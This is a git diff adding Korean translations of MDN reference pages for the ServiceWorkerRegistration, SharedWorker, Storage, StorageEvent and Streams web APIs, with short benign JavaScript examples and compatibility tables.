Syntax

+ +
sw = ServiceWorker.active
+
+ +

Value

+ +

현재 activating 또는 activated 상태에 있다면, {{domxref("ServiceWorker")}} 객체.

+ +

Specifications

+ +
+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Service Workers', '#service-worker-registration-active-attribute', 'ServiceWorkerRegistration.active')}}{{Spec2('Service Workers')}}Initial definition.
+  
+ +

Browser compatibility

+ + + +

{{Compat("api.ServiceWorkerRegistration.active")}}

+ +

See also

+ + diff --git a/files/ko/web/api/serviceworkerregistration/index.html b/files/ko/web/api/serviceworkerregistration/index.html new file mode 100644 index 0000000000..15606c9603 --- /dev/null +++ b/files/ko/web/api/serviceworkerregistration/index.html @@ -0,0 +1,150 @@ +--- +title: ServiceWorkerRegistration +slug: Web/API/ServiceWorkerRegistration +tags: + - API + - Interface + - NeedsTranslation + - Offline + - Reference + - Service Workers + - Service worker API + - ServiceWorkerRegistration + - TopicStub + - Workers +translation_of: Web/API/ServiceWorkerRegistration +--- +
+
{{SeeCompatTable}}{{APIRef("Service Workers API")}}
+
+ +

The ServiceWorkerRegistration interface of the ServiceWorker API represents the service worker registration. You register a service worker to control one or more pages that share the same origin.

+ +

The lifetime of a service worker registration is beyond that of the ServiceWorkerRegistration objects that represent them within the lifetime of their corresponding service worker clients. The browser maintains a persistent list of active ServiceWorkerRegistration objects.

+ +
+

Note: This feature is available in Web Workers.

+
+ +

Properties

+ +

Also implements properties from its parent interface, {{domxref("EventTarget")}}.

+ +
+
{{domxref("ServiceWorkerRegistration.scope")}} {{readonlyinline}}
+
Returns a unique identifier for a service worker registration. This must be on the same origin as the document that registers the {{domxref("ServiceWorker")}}.
+
{{domxref("ServiceWorkerRegistration.installing")}} {{readonlyinline}}
+
Returns a service worker whose state is installing. This is initially set to null.
+
{{domxref("ServiceWorkerRegistration.waiting")}} {{readonlyinline}}
+
Returns a service worker whose state is waiting. This is initially set to null.
+
{{domxref("ServiceWorkerRegistration.active")}} {{readonlyinline}}
+
Returns a service worker whose state is either activating or activated. This is initially set to null. An active worker will control a {{domxref("ServiceWorkerClient")}} if the client's URL falls within the scope of the registration (the scope option set when {{domxref("ServiceWorkerContainer.register")}} is first called.)
+
{{domxref("ServiceWorkerRegistration.navigationPreload")}} {{readonlyinline}}
+
Returns the instance of {{domxref("NavigationPreloadManager")}} associated with the current service worker registration.
+
{{domxref("ServiceWorkerRegistration.pushManager")}} {{readonlyinline}}
+
Returns a reference to the {{domxref("PushManager")}} interface for managing push subscriptions including subscribing, getting an active subscription, and accessing push permission status.
+
{{domxref("ServiceWorkerRegistration.sync")}} {{non-standard_inline}} {{readonlyinline}} 
+
Returns a reference to the {{domxref("SyncManager")}} interface, which manages background synchronization processes.
+
+ +

Unimplemented properties

+ +
+
{{domxref("serviceWorkerRegistration.periodicSync")}} {{non-standard_inline}} {{readonlyinline}}
+
Returns a reference to the {{domxref("PeriodicSyncManager")}} interface, which manages periodic background synchronization processes. This was mentioned as an idea in the SW explainer at some point, but as yet has not been implemented anywhere.
+
+ +

Event handlers

+ +
+
{{domxref("ServiceWorkerRegistration.onupdatefound")}} {{readonlyinline}}
+
An EventListener property called whenever an event of type updatefound is fired; it is fired any time the {{domxref("ServiceWorkerRegistration.installing")}} property acquires a new service worker.
+
+ +

Methods

+ +

Also implements methods from its parent interface, {{domxref("EventTarget")}}.

+ +
+
{{domxref("ServiceWorkerRegistration.getNotifications()")}}
+
Returns a {{jsxref("Promise")}} that resolves to an array of {{domxref("Notification")}} objects.
+
{{domxref("ServiceWorkerRegistration.showNotification()")}}
+
Displays the notification with the requested title.
+
{{domxref("ServiceWorkerRegistration.update()")}}
+
Checks the server for an updated version of the service worker without consulting caches.
+
{{domxref("ServiceWorkerRegistration.unregister()")}}
+
Unregisters the service worker registration and returns a {{jsxref("Promise")}}. The service worker will finish any ongoing operations before it is unregistered.
+
+ +

Examples

+ +

In this example, the code first checks whether the browser supports service workers and if so registers one. Next, it adds and updatefound event in which it uses the service worker registration to listen for further changes to the service worker's state. If the service worker hasn't changed since the last time it was registered, than the updatefound event will not be fired.

+ +
if ('serviceWorker' in navigator) {
+  navigator.serviceWorker.register('/sw.js')
+  .then(function(registration) {
+    registration.addEventListener('updatefound', function() {
+      // If updatefound is fired, it means that there's
+      // a new service worker being installed.
+      var installingWorker = registration.installing;
+      console.log('A new service worker is being installed:',
+        installingWorker);
+
+      // You can listen for changes to the installing service worker's
+      // state via installingWorker.onstatechange
+    });
+  })
+  .catch(function(error) {
+    console.log('Service worker registration failed:', error);
+  });
+} else {
+  console.log('Service workers are not supported.');
+}
+ +

Specifications

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Service Workers', '#service-worker-registration-obj', 'ServiceWorkerRegistration')}}{{Spec2('Service Workers')}}Initial definition.
{{SpecName('Push API', '#widl-ServiceWorkerRegistration-pushManager', 'PushManager')}}{{Spec2('Push API')}}Adds the {{domxref("PushManager","pushManager")}} property.
{{SpecName('Web Notifications')}}{{Spec2('Web Notifications')}}Adds the {{domxref("ServiceWorkerRegistration.showNotification()","showNotification()")}} method and the {{domxref("ServiceWorkerRegistration.getNotifications()","getNotifications()")}} method.
{{SpecName('Background Sync')}}{{Spec2('Background Sync')}}Adds the {{domxref("ServiceWorkerRegistration.sync","sync")}} property.
+ +

Browser compatibility

+ + + +

{{Compat("api.ServiceWorkerRegistration")}}

+ +

See also

+ + diff --git a/files/ko/web/api/serviceworkerregistration/installing/index.html b/files/ko/web/api/serviceworkerregistration/installing/index.html new file mode 100644 index 0000000000..29a45b8b81 --- /dev/null +++ b/files/ko/web/api/serviceworkerregistration/installing/index.html @@ -0,0 +1,54 @@ +--- +title: ServiceWorkerRegistration.installing +slug: Web/API/ServiceWorkerRegistration/installing +translation_of: Web/API/ServiceWorkerRegistration/installing +--- +
{{SeeCompatTable}}{{APIRef("Service Workers API")}}
+ +

{{domxref("ServiceWorkerRegistration")}} 인터페이스의 installing 속성은 {{domxref("ServiceWorker.state")}} 가 installing 인 서비스 워커를 반환한다. 이 속성은 null 로 초기 설정되어 있다.

+ +
+

Note: 이 기능은 Web Workers 에서 사용 가능하다.

+
+ +

Syntax

+ +
sw = ServiceWorker.installing
+
+ +

Value

+ +

현재 installing 상태에 있다면, {{domxref("ServiceWorker")}} 객체

+ +

Specifications

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Service Workers', '#service-worker-registration-installing-attribute', 'ServiceWorkerRegistration.installing')}}{{Spec2('Service Workers')}}Initial definition.
+ +

Browser compatibility

+ + + +

{{Compat("api.ServiceWorkerRegistration.installing")}}

+ +

See also

+ + diff --git a/files/ko/web/api/serviceworkerregistration/navigationpreload/index.html b/files/ko/web/api/serviceworkerregistration/navigationpreload/index.html new file mode 100644 index 0000000000..610e80b8a8 --- /dev/null +++ b/files/ko/web/api/serviceworkerregistration/navigationpreload/index.html @@ -0,0 +1,39 @@ +--- +title: ServiceWorkerRegistration.navigationPreload +slug: Web/API/ServiceWorkerRegistration/navigationPreload +translation_of: Web/API/ServiceWorkerRegistration/navigationPreload +--- +

{{SeeCompatTable}}{{APIRef("Service Workers API")}}

+ +

{{domxref("ServiceWorkerRegistration")}} 인터페이스의  navigationPreload 읽기 전용 속성은 현재의 서비스 워커 등록와 관련된 {{domxref("NavigationPreloadManager")}} 를 반환한다.

+ +

Syntax

+ +
var navigationPreloadManager = serviceWorkerRegistration.navigationPreload
+ +

Value

+ +

{{domxref("NavigationPreloadManager")}} 의 객체.

+ +

Specifications

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Service Workers','#service-worker-registration-navigationpreload','navigationPreload')}}{{Spec2('Service Workers')}}Initial definition.
+ +

Browser Compatibility

+ + + +

{{Compat("api.ServiceWorkerRegistration.navigationPreload")}}

diff --git a/files/ko/web/api/sharedworker/index.html b/files/ko/web/api/sharedworker/index.html new file mode 100644 index 0000000000..f155b9f03a --- /dev/null +++ b/files/ko/web/api/sharedworker/index.html @@ -0,0 +1,105 @@ +--- +title: SharedWorker +slug: Web/API/SharedWorker +translation_of: Web/API/SharedWorker +--- +
{{APIRef("Web Workers API")}}
+ +

SharedWorker 인터페이스는 윈도우 창이나 iframe, 워커등의 다른 브라우징 컨텍스트에서도 접근이 가능한 특정 종류의 워커를 의미합니다. 기존의 다른 종류의 워커들과 다른 전역 스코프를 갖는 인터페이스를 구현합니다. {{domxref("SharedWorkerGlobalScope")}}.

+ +
+

참고 : SharedWorker 가 몇개의 다른 브라우징 컨텍스트에서 접근이 가능하면, 그 브라우징 컨텍스트들은 모두 정확히 같은 오리진을 공유해야 합니다. (같은 프로토콜, 호스트, 포트 등)

+
+ +

생성자

+ +
+
{{domxref("SharedWorker.SharedWorker", "SharedWorker()")}}
+
특정 URL에서 스크립트를 실행하는 shared web worker를 생성합니다.
+
+ +

속성

+ +

{{domxref("EventTarget")}} 의 속성들을 상속 받습니다. 그리고 {{domxref("AbstractWorker")}} 의 속성들을 구현할 수 있습니다.

+ +
+
{{domxref("AbstractWorker.onerror")}}
+
워커에서 {{domxref("ErrorEvent")}} 타입의 에러가 발생했을 때 호출되는는 {{domxref("EventListener")}}
+
{{domxref("SharedWorker.port")}} {{readonlyInline}}
+
shared worker를 제어하거나 통신하기 위해 사용되는 {{domxref("MessagePort")}} 객체를 반환
+
+ +

메서드

+ +

{{domxref("EventTarget")}} 의 속성들을 상속 받습니다. 그리고 {{domxref("AbstractWorker")}} 의 속성들을 구현할 수 있습니다.

+ +

예제

+ +

Basic shared worker example (run shared worker) 를 보시면 2개의 HTML 페이지가 있습니다. 각각 간단한 계산을 위해 자바스크립트를 사용합니다. 각기 다른 스크립트가 계산을 위해 같은 워커 파일을 사용합니다 — 두 개 페이지가 모두 다른 윈도우창에서 실행되더라도 같은 워커에 접근할 수 있습니다.

+ +

아래 코드 스니펫은 {{domxref("SharedWorker.SharedWorker", "SharedWorker()")}} 생성자를 이용해 SharedWorker 객체를 생성합니다. 두 스크립트 모두 아래를 포함합니다.

+ +
var myWorker = new SharedWorker("worker.js");
+
+ +

두 스크립트는 {{domxref("SharedWorker.port")}} 속성으로 생성한 {{domxref("MessagePort")}} 객체를 통해 워커에 접근할 수 있습니다. addEventListener 를 이용하여 onmessage 가 추가되면, port는 start() 메서드를 이용하여 수동으로 시작할 수 있습니다.

+ +
myWorker.port.start();
+ +

포트가 시작되면, 양 스크립트는 워커에 메시지를 보내고 port.postMessage()port.onmessage 를 각각 이용하여 메시지를 처리합니다.

+ +
first.onchange = function() {
+    myWorker.port.postMessage([first.value,second.value]);
+    console.log('Message posted to worker');
+  }
+
+  second.onchange = function() {
+    myWorker.port.postMessage([first.value,second.value]);
+    console.log('Message posted to worker');
+  }
+
+  myWorker.port.onmessage = function(e) {
+    result1.textContent = e.data;
+    console.log('Message received from worker');
+  }
+ +

워커에서 {{domxref("SharedWorkerGlobalScope.onconnect")}} 핸들러를 이용하여 위에 언급된 포트에 접속할 수 있습니다. 워커에 연관되어 있는 포트는 {{event("connect")}} 이벤트 포트 속성에 접근할 수 있습니다 — 그리고나서 {{domxref("MessagePort")}} start() 메서드로 포트를 시작하고, onmessage 핸들러로 메인쓰레드에서 받은 메시지를 처리합니다.

+ +
onconnect = function(e) {
+    var port = e.ports[0];
+
+    port.addEventListener('message', function(e) {
+      var workerResult = 'Result: ' + (e.data[0] * e.data[1]);
+      port.postMessage(workerResult);
+    });
+
+    port.start(); // Required when using addEventListener. Otherwise called implicitly by onmessage setter.
+}
+ +

명세

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', "#sharedworker", "SharedWorker")}}{{Spec2('HTML WHATWG')}}No change from {{SpecName("Web Workers")}}.
+ +

브라우저 호환성

+ +

{{Compat("api.SharedWorker")}}

+ +

같이 보기

+ + diff --git a/files/ko/web/api/storage/index.html b/files/ko/web/api/storage/index.html new file mode 100644 index 0000000000..26ee7125ad --- /dev/null +++ b/files/ko/web/api/storage/index.html @@ -0,0 +1,107 @@ +--- +title: Storage +slug: Web/API/Storage +tags: + - API + - Interface + - Reference + - Storage + - Web Storage +translation_of: Web/API/Storage +--- +
{{APIRef("Web Storage API")}}
+ +

Web Storage APIStorage 인터페이스는 특정 도메인을 위한 세션 저장소 또는 로컬 저장소의 접근 경로로서 데이터를 추가하고 수정하거나 삭제할 수 있습니다.

+ +

도메인의 세션 저장소를 수정해야 하면 {{domxref("Window.sessionStorage")}}에, 로컬 저장소를 수정해야 하면 {{domxref("Window.localStorage")}}에 접근하세요.

+ +

속성

+ +
+
{{domxref("Storage.length")}} {{readonlyInline}}
+
Storage 객체에 저장된 데이터 항목의 수를 반환합니다.
+
+ +

메서드

+ +
+
{{domxref("Storage.key()")}}
+
주어진 숫자 n에 대하여 저장소의 n번째 항목 키를 반환합니다.
+
+ +
+
{{domxref("Storage.getItem()")}}
+
주어진 키에 연결된 값을 반환합니다.
+
{{domxref("Storage.setItem()")}}
+
키가 저장소에 존재하는 경우 값을 재설정합니다. 존재하지 않으면 키와 값을 저장소에 추가합니다.
+
{{domxref("Storage.removeItem()")}}
+
주어진 키를 저장소에서 제거합니다.
+
{{domxref("Storage.clear()")}}
+
저장소의 모든 키를 저장소에서 제거합니다.
+
+ +

예제

+ +

아래 코드에서는 localStorage에 접근해 Storage 객체를 접근합니다. 우선 !localStorage.getItem('bgcolor')를 사용해 데이터가 저장소에 존재하는지 알아냅니다. 데이터가 있으면 {{domxref("Storage.getItem()")}}으로 회수한 후 setStyles()로 페이지 스타일을 바꿉니다. 데이터가 없으면 populateStorage() 함수를 호출하고, 그 안에서는 {{domxref("Storage.setItem()")}}을 통해 데이터를 설정합니다. 그 후에는 동일하게 setStyles()를 사용합니다.

+ +
if(!localStorage.getItem('bgcolor')) {
+  populateStorage();
+} else {
+  setStyles();
+}
+
+function populateStorage() {
+  localStorage.setItem('bgcolor', document.getElementById('bgcolor').value);
+  localStorage.setItem('font', document.getElementById('font').value);
+  localStorage.setItem('image', document.getElementById('image').value);
+}
+
+function setStyles() {
+  var currentColor = localStorage.getItem('bgcolor');
+  var currentFont = localStorage.getItem('font');
+  var currentImage = localStorage.getItem('image');
+
+  document.getElementById('bgcolor').value = currentColor;
+  document.getElementById('font').value = currentFont;
+  document.getElementById('image').value = currentImage;
+
+  htmlElem.style.backgroundColor = '#' + currentColor;
+  pElem.style.fontFamily = currentFont;
+  imgElem.setAttribute('src', currentImage);
+}
+ +
+

참고: 실제 작동 예제는 저희의 Web Storage Demo에서 볼 수 있습니다.

+
+ +

명세

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', '#storage', 'Storage')}}{{Spec2('HTML WHATWG')}}
+ +

브라우저 호환성

+ + + +

{{Compat("api.Storage")}}

+ +

같이 보기

+ + diff --git a/files/ko/web/api/storage/key/index.html b/files/ko/web/api/storage/key/index.html new file mode 100644 index 0000000000..7583b6e49f --- /dev/null +++ b/files/ko/web/api/storage/key/index.html @@ -0,0 +1,74 @@ +--- +title: Storage.key() +slug: Web/API/Storage/key +tags: + - 로컬 스토리지 + - 세션 스토리지 + - 웹 스토리지 +translation_of: Web/API/Storage/key +--- +

{{APIRef("Web Storage API")}}

+ +

{{domxref("Storage")}} 인터페이스의 key() 메서드는 숫자 n이 전달되면 Storage의 n번째 key 이름을 반환합니다. key의 순서는 user-agent에 의해 정의되므로 이 순서에 의존성이 있어서는 안됩니다.

+ +

문법

+ +
var aKeyName = storage.key(index);
+ +

Parameters

+ +
+
index
+
반환받으려하는 key의 번호를 나타내는 정수. 이 정수는 0부터 시작하는 인덱스입니다.
+
+ +

Return value

+ +

key 이름을 포함한 {{domxref("DOMString")}} 입니다.

+ +

예제

+ +

다음 함수는 localStorage 의 key들을 반복합니다.

+ +
function forEachKey(callback) {
+  for (var i = 0; i < localStorage.length; i++) {
+    callback(localStorage.key(i));
+  }
+}
+ +

다음 함수는 localStorage 의 key들을 반복하고 각 key에 설정된 값들을 가져옵니다.

+ +
for(var i =0; i < localStorage.length; i++){
+   console.log(localStorage.getItem(localStorage.key(i)));
+}
+ +
+

Note: 실제로 쓰이는 예제를 보려면 우리의 Web Storage Demo 를 참조하세요.

+
+ +

Specifications

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', 'webstorage.html#dom-storage-key', 'Storage.key')}}{{Spec2('HTML WHATWG')}} 
+ +

브라우저 호환성

+ + + +

{{Compat("api.Storage.key")}}

+ +

See also

+ +

Using the Web Storage API

diff --git a/files/ko/web/api/storage/length/index.html b/files/ko/web/api/storage/length/index.html new file mode 100644 index 0000000000..53b092b939 --- /dev/null +++ b/files/ko/web/api/storage/length/index.html @@ -0,0 +1,68 @@ +--- +title: Storage.length +slug: Web/API/Storage/length +tags: + - API + - Property + - Read-only + - Reference + - Storage + - Web Storage +translation_of: Web/API/Storage/length +--- +
{{APIRef("Web Storage API")}}
+ +

{{domxref("Storage")}} 인터페이스의 length 읽기 전용 속성은 Storage 객체에 저장된 데이터 항목의 수를 반환합니다.

+ +

구문

+ +
length = storage.length;
+ +

반환 값

+ +

Storage 객체에 저장된 항목의 수.

+ +

예제

+ +

다음의 함수는 현재 도메인의 로컬 저장소에 세 개의 항목을 추가한 후 저장소 항목의 수를 반환합니다.

+ +
function populateStorage() {
+  localStorage.setItem('bgcolor', 'yellow');
+  localStorage.setItem('font', 'Helvetica');
+  localStorage.setItem('image', 'cats.png');
+
+  return localStorage.length; // Should return 3
+}
+ +
+

참고: 실제 사용 예제를 보시려면 저희의 Web Storage Demo를 방문하세요.

+
+ +

명세

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', 'webstorage.html#dom-storage-length', 'Storage.length')}}{{Spec2('HTML WHATWG')}}
+ +

브라우저 호환성

+ + + +

{{Compat("api.Storage.length")}}

+ +

같이 보기

+ + diff --git a/files/ko/web/api/storage/removeitem/index.html b/files/ko/web/api/storage/removeitem/index.html new file mode 100644 index 0000000000..e9afd96922 --- /dev/null +++ b/files/ko/web/api/storage/removeitem/index.html @@ -0,0 +1,134 @@ +--- +title: Storage.removeItem() +slug: Web/API/Storage/removeItem +tags: + - 메소드 + - 스토리지 + - 웹 스토리지 + - 참고 +translation_of: Web/API/Storage/removeItem +--- +

{{APIRef("Web Storage API")}}

+ +

{{domxref("Storage")}} 인터페이스의 removeItem() 메소드에 키 이름을 파라미터로 전달하면 스토리지에서 해당 키를 삭제합니다.

+ +

문법

+ +
storage.removeItem(keyName);
+ +

파라미터

+ +
+
keyName
+
삭제하고자 하는 키 이름({{domxref("DOMString")}}).
+
+ +

반환값

+ +

반환값 없음.

+ +

예제

+ +

아래의 함수는 로컬 스토리지에 3 개의 데이터 아이템을 생성한 후 그 중 하나를 삭제합니다.

+ +
function populateStorage() {
+  localStorage.setItem('bgcolor', 'red');
+  localStorage.setItem('font', 'Helvetica');
+  localStorage.setItem('image', 'myCat.png');
+
+  localStorage.removeItem('image');
+}
+ +
+

: 실 사용 예제는 Web Storage Demo를 참고하시기 바랍니다.

+
+ +

사양

+ + + + + + + + + + + + + + +
사양상태비고
{{SpecName('Web Storage', '#dom-storage-removeitem', 'removeItem()')}}{{Spec2('Web Storage')}} 
+ +

브라우저 호환성

+ +

{{ CompatibilityTable() }}

+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
localStorage4{{CompatVersionUnknown}}3.5810.504
sessionStorage5{{CompatUnknown}}2810.504
+
+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidEdgeFirefox Mobile (Gecko)IE PhoneOpera MobileSafari Mobile
Basic support2.1{{CompatVersionUnknown}}{{ CompatUnknown }}811iOS 3.2
+
+ +

모든 브라우저가 다양한 지원 수준의 localStorage와 sessionStorage를 제공합니다. 이 곳에서 다양한 브라우저에서의 storage 지원과 관련된 상세항 사항을 확인할 수 있습니다.

+ +
+

주: iOS 5.1부터 모바일 Safari는 localStorage 데이터를 캐시 폴더에 저장하며, 공간 부족 등의 사유로 OS의 요청에 의해 가끔씩 지워질 수 있습니다.

+
+ +

같이 보기

+ +

Web Storage API 사용하기

diff --git a/files/ko/web/api/storageevent/index.html b/files/ko/web/api/storageevent/index.html new file mode 100644 index 0000000000..2ab61d0509 --- /dev/null +++ b/files/ko/web/api/storageevent/index.html @@ -0,0 +1,79 @@ +--- +title: StorageEvent +slug: Web/API/StorageEvent +tags: + - API + - Event + - Reference + - StorageEvent + - Web Storage + - Web Storage API +translation_of: Web/API/StorageEvent +--- +
{{APIRef("Web Storage API")}}
+ +

StorageEvent는 접근 가능한 저장소가 다른 문서에서 변경될 경우 {{domxref("window")}}로 전송됩니다.

+ +

{{InheritanceDiagram}}

+ +

특성

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
특성유형설명
key{{DOMxRef("DOMString")}}변경된 키. 저장소가 clear() 메서드로 인해 바뀐 경우 {{jsxref("null")}}입니다. 읽기 전용.
newValue{{DOMxRef("DOMString")}}key의 새로운 값. 저장소가 clear() 메서드로 바뀐 경우, 또는 변경점이 key를 저장소에서 삭제한 것인 경우 newValuenull입니다. 읽기 전용.
oldValue{{DOMxRef("DOMString")}}key의 이전 값. key를 저장소에 새로 추가한 경우 이전 값이 존재하지 않으므로 oldValuenull입니다. 읽기 전용.
storageArea{{Interface("nsIDOMStorage")}}변경된 Storage 객체입니다. 읽기 전용.
url{{DOMxRef("USVString")}}key를 바꾼 문서의 URL입니다. 읽기 전용.
+ +

명세

+ + + + + + + + + + + + + + + + +
SpecificationStatucComment
{{SpecName("HTML WHATWG", "webstorage.html#the-storageevent-interface", "The StorageEvent interface")}}{{Spec2("HTML WHATWG")}}
+ +

브라우저 호환성

+ + + +

{{Compat("api.StorageEvent")}}

diff --git a/files/ko/web/api/streams_api/index.html b/files/ko/web/api/streams_api/index.html new file mode 100644 index 0000000000..96009dad26 --- /dev/null +++ b/files/ko/web/api/streams_api/index.html @@ -0,0 +1,152 @@ +--- +title: Streams API +slug: Web/API/Streams_API +tags: + - API + - Experimental + - Landing + - Reference + - Streams + - TopicStub +translation_of: Web/API/Streams_API +--- +
{{SeeCompatTable}}{{APIRef("Streams")}}
+ +

Streams API는 Javascript를 이용해 네트워크를 통해 전송된 데이터 스트림에 접근하여 원하는 대로 처리가 가능한 API를 제공합니다.

+ +

개념과 사용법

+ +

Streaming은 네트워크를 통해 받은 리소스를 작은 조각으로 나누어, Bit 단위로 처리합니다. 이는 브라우저가 수신한 자원을 웹페이지에 표현할 때 주로 사용하는 방법입니다. — Video buffer는 재생되기 전 천천히 채워지며 가끔 이미지도 천천히 로딩되는 것을 보실 수 있을 겁니다..

+ +

하지만 Javascript에서는 지금까지 불가능했습니다. 이전에는 (비디오나 텍스트 파일 등의) 리소스를 처리하기 위해서 우선, 전체 파일을 다운로드 받은 후 알맞은 포맷으로 파싱된 후에야, 전송된 전체 데이터를 처리할 수 있었습니다.

+ +

With Javascript에 Stream이 도입된 후에는 모든 것이 바뀌었는데, 이제 Buffer, String 또는 blob 없이도 Javascript를 통해 Raw Data를 비트 단위로 처리할 수 있습니다.

+ +

+ +

장점은 또 있습니다 — Stream의 시작 또는 종료를 감지할 수 있으며, 여러 stream을 엮어서 에러를 처리하거나 필요한 경우 stream을 취소할 수도 있습니다. 또한 stream이 읽어들이는 속도에 따라 반응할 수도 있지요.

+ +

Stream의 주요한 기본 사용법은 응답 데이터를 stream으로 만드는 것입니다. fetch request를 통해 정상적으로 전송된 응답 {{domxref("Body")}}는 {{domxref("ReadableStream")}}로 표현 가능합니다. 또한 {{domxref("ReadableStream.getReader()")}}를 통해 Reader 객체를 얻어 데이터를 읽을 수도 있으며, {{domxref("ReadableStream.cancel()")}}로 Stream을 취소하는 것 등이 가능합니다.

+ +

조금 더 복잡한 사용법은 {{domxref("ReadableStream.ReadableStream", "ReadableStream()")}} 생성자를 통해 사용자가 직접 Stream을 생성하는 것입니다. 예를 들자면 service worker에 전달할 데이터를 Stream으로 만들 수도 있습니다.

+ +

{{domxref("WritableStream")}}을 사용하면 Stream에 데이터를 쓰는 것도 가능합니다..

+ +
+

Note: Streams API concepts, Using readable streams,  Using writable streams — 페이지에서 stream에 관한 더 자세한 이론과 예제를 찾을 수 있습니다.

+
+ +

스트림 인터페이스

+ +

읽기 스트림(Readable streams)

+ +
+
{{domxref("ReadableStream")}}
+
데이터 읽기 스트림을 나타냅니다. Fetch API의 결과 스트림이나 개발자가 정의한 스트림(예, 커스텀 {{domxref("ReadableStream.ReadableStream", "ReadableStream()")}} 클래스)등을 핸들링할 수 있습니다.
+
{{domxref("ReadableStreamDefaultReader")}}
+
네트워크(예, fetch 요청)등에서 전달된 스트림 데이터를 처리하는 기본 Reader를 반환합니다.
+
{{domxref("ReadableStreamDefaultController")}}
+
{{domxref("ReadableStream")}}의 상태나 내부 큐를 컨트롤 할 수 있는 기본 컨트롤러를 반환합니다. 기본 컨트롤러는 Byte 스트림 외의 스트림에만 해당합니다.
+
+ +

쓰기 스트림(writable streams)

+ +
+
{{domxref("WritableStream")}}
+
목적지 스트림에 데이터를 쓰기 위한 표준 추상 인터페이스를 제공하는 객체입니다. 이 객체는 내장 백프레셔와 큐잉을 구현하고 있습니다.
+
{{domxref("WritableStreamDefaultWriter")}}
+
쓰기 스트림에 데이터 조각들을 쓰기 위한 기본 Writer 객체를 반환한다.
+
{{domxref("WritableStreamDefaultController")}}
+
{{domxref("WritableStream")}} 상태를 컨트롤하는 기본 컨트롤러를 반환한다. WritableStream을 생성하면 해당 스트림을 컨트롤 하기 위해 WritableStreamDefaultController 인스턴스가 내부적으로 생성된다.
+
+ +

관련 스트림 API와 기능

+ +
+
{{domxref("ByteLengthQueuingStrategy")}}
+
스트림을 생성할 때 기본으로 사용 할 내장 byte length queuing strategy를 제공합니다.
+
{{domxref("CountQueuingStrategy")}}
+
스트림을 생성할 때 기본적으로 사용 할 내장 chunk counting queuing strategy를 제공합니다..
+
+ +

외부 API 확장

+ +
+
{{domxref("Request")}}
+
새 Request 객체가 생성될 때 RequestInit 딕셔너리의 body에 {{domxref("ReadableStream")}} 를 전달할 수 있습니다. 이 Request는 {{domxref("WindowOrWorkerGlobalScope.fetch()")}} 에 전달되에서 스트림을 fetch하는데 사용됩니다.
+
{{domxref("Body")}}
+
fetch request 성공 시 기본적으로 {{domxref("Body")}} {{domxref("ReadableStream")}}로 제공되며, reader를 붙여 데이터를 읽어들일 수 있습니다.
+
+ +

ByteStream 관련 인터페이스

+ +
+

중요: 아래 항목들은 아직 구현된 곳이 없으며, 스펙의 세부 사항이 구현할 수 있을 만큼 충분한 지 논의가 진행중입니다. 추후 변경될 수 있습니다.

+
+ +
+
{{domxref("ReadableStreamBYOBReader")}}
+
개발자가 직접 제공하여 stream data를 읽을 수 있는 BYOB ("bring your own buffer") reader를 표현합니다. (예 커스텀 {{domxref("ReadableStream.ReadableStream", "ReadableStream()")}} 생성자).
+
{{domxref("ReadableByteStreamController")}}
+
{{domxref("ReadableStream")}}의 상태와 내부 큐를 컨트롤 하는 컨트롤러 객체를 표현합니다. Byte stream 컨트롤러는 byte stream을 위한 컨트롤러입니다.
+
{{domxref("ReadableStreamBYOBRequest")}}
+
{{domxref("ReadableByteStreamController")}}의 request를 표현합니다.
+
+ +

예제

+ +

Streams API 문서와 참조할 만한 예제를 함께 작성하였습니다 — mdn/dom-examples/streams 를 참조하세요. 예제는 아래와 같습니다.:

+ + + +

다른 개발자의 예제:

+ + + +

Specifications

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Streams')}}{{Spec2('Streams')}}최초 정의.
+ +

브라우저 호환성

+ + + +

ReadableStream

+ +

{{Compat("api.ReadableStream")}}

+ +

WritableStream

+ +

{{Compat("api.WritableStream")}}

+ +

더 보기

+ + diff --git a/files/ko/web/api/streams_api/using_readable_streams/index.html b/files/ko/web/api/streams_api/using_readable_streams/index.html new file mode 100644 index 0000000000..719cd6653f --- /dev/null +++ b/files/ko/web/api/streams_api/using_readable_streams/index.html @@ -0,0 +1,317 @@ +--- +title: Using readable streams +slug: Web/API/Streams_API/Using_readable_streams +translation_of: Web/API/Streams_API/Using_readable_streams +--- +
{{apiref("Streams")}}
+ +

자바스크립트 개발자로서, 프로그래밍적으로 네트워크로부터 받은 데이터 스트림을 Chunk단위로 읽고 다루는 것은 매우 유용합니다! 그러나 어떻게 스트림 API의 Readable stream을 잘 사용할수 있을까요. 이번 내용은 그것을 설명하고 있습니다.

+ +
+

Note: This article assumes that you understand the use cases of readable streams, and are aware of the high-level concepts. If not, we suggest that you first read the Streams concepts and usage overview and dedicated Streams API concepts article, then come back.

+
+ +
+

Note: If you are looking for information on writable streams try Using writable streams instead.

+
+ +

Browser support

+ +

파이어폭스 65+ 와 크롬 42+ 에서 Fetch Body 객체를 스트림으로서 사용 할수 있고, custom readable 스트림을 만들수 있습니다. 현재 Pipe chains의 경우 오직 크롬에서만 지원하고 있고 그 기능은 변경될 수 있습니다.

+ +

Finding some examples

+ +

이번 내용과 관련한 많은 예제를 dom-examples/streams 에서 살펴볼수 있습니다. 이곳에서 모든 소스를 확인할수 있을 뿐만 아니라 예제 사이트 링크도 확인할수 있습니다.

+ +

Consuming a fetch as a stream

+ +

Fetch API 는 네트워크를 통해 리소스를 가져오는 XHR의 현대적인 대안책 입니다. Fetch API의 수많은 이점 가운데 가장 훌륭한점은 최근 브라우저들이 Fetch Response를 Readable 스트림으로 이용할수 있게 하는 기능을 추가한것 입니다.

+ +

